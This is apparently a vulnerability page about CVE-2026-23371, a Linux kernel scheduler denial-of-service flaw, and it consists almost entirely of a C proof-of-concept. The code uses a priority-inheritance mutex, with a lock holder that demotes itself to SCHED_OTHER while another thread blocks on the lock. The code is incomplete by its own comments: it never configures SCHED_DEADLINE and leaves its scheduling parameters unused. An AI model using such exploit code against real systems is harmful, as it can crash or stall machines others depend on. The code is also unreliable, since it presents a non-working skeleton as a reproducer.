CVE-2026-23371 Linux内核调度拒绝服务漏洞

/* * PoC for CVE-2026-23371: Trigger missing ENQUEUE_REPLENISH * This code simulates the scenario described in the vulnerability report. * Requires a kernel with SCHED_DEADLINE support and appropriate permissions. */ #include <pthread.h> #include <sched.h> #include <stdio.h> #include <unistd.h> #include <stdlib.h> pthread_mutex_t pi_mutex; void *holder_thread(void *arg) { // 1. Hold the mutex pthread_mutex_lock(&pi_mutex); printf("Holder: Lock acquired\n"); // Simulate workload or wait for de-boost sleep(1); // 2. Change scheduler to lower priority (e.g., SCHED_OTHER) while holding lock struct sched_param param; param.sched_priority = 0; if (sched_setscheduler(0, SCHED_OTHER, &param) == 0) { printf("Holder: Scheduler changed to SCHED_OTHER\n"); } sleep(1); pthread_mutex_unlock(&pi_mutex); printf("Holder: Lock released\n"); return NULL; } void *donor_thread(void *arg) { // Wait a bit to ensure holder has the lock sleep(1); printf("Donor: Trying to acquire lock...\n"); // 3. Block on the mutex held by the holder (Priority Inheritance trigger) pthread_mutex_lock(&pi_mutex); printf("Donor: Lock acquired\n"); pthread_mutex_unlock(&pi_mutex); return NULL; } int main() { pthread_mutexattr_t attr; pthread_mutexattr_init(&attr); pthread_mutexattr_setprotocol(&attr, PTHREAD_PRIO_INHERIT); pthread_mutex_init(&pi_mutex, &attr); pthread_t h_tid, d_tid; // Set initial policy to SCHED_DEADLINE or RT (simplified here for structure) struct sched_param param; param.sched_priority = 10; // Note: Real reproduction requires setting SCHED_DEADLINE params correctly pthread_create(&h_tid, NULL, holder_thread, NULL); pthread_create(&d_tid, NULL, donor_thread, NULL); pthread_join(h_tid, NULL); pthread_join(d_tid, NULL); return 0; }